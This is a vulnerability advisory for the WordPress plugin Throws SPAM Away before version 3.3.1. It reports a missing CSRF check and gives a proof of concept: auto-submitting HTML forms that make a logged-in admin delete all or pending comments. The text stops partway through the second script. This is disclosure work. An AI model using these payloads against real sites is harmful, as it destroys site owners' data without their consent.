WordPress Plugin Vulnerabilities

Throws SPAM Away < 3.3.1 - Comment Deletion via CSRF

Description

The plugin does not have CSRF checks in place when deleting comments (either all, spam, or pending), allowing attackers to make a logged in admin delete comments via a CSRF attack

Proof of Concept

To delete all comments
<form id="test" action="https://example.com/wp-admin/admin.php?page=throws-spam-away%2Fthrows_spam_away_comments.php" method="POST">
    <input type="text" name="c_all" value="a">
    <input type="text" name="all" value="a">
    <input type="text" name="Submit" value="Delete all Comments">
</form>
<script>
    document.getElementById("test").submit();
</script>


<form id="test" action="https://example.com/wp-admin/admin.php?page=throws-spam-away%2Fthrows_spam_away_comments.php" method="POST">
    <input type="text" name="c_pend" value="p">
    <input type="text" name="pend" value="p">
    <input type="text" name="Submit" value="Delete all pending Comments">
</form>
<script>
    document.getElementById("test").submit();
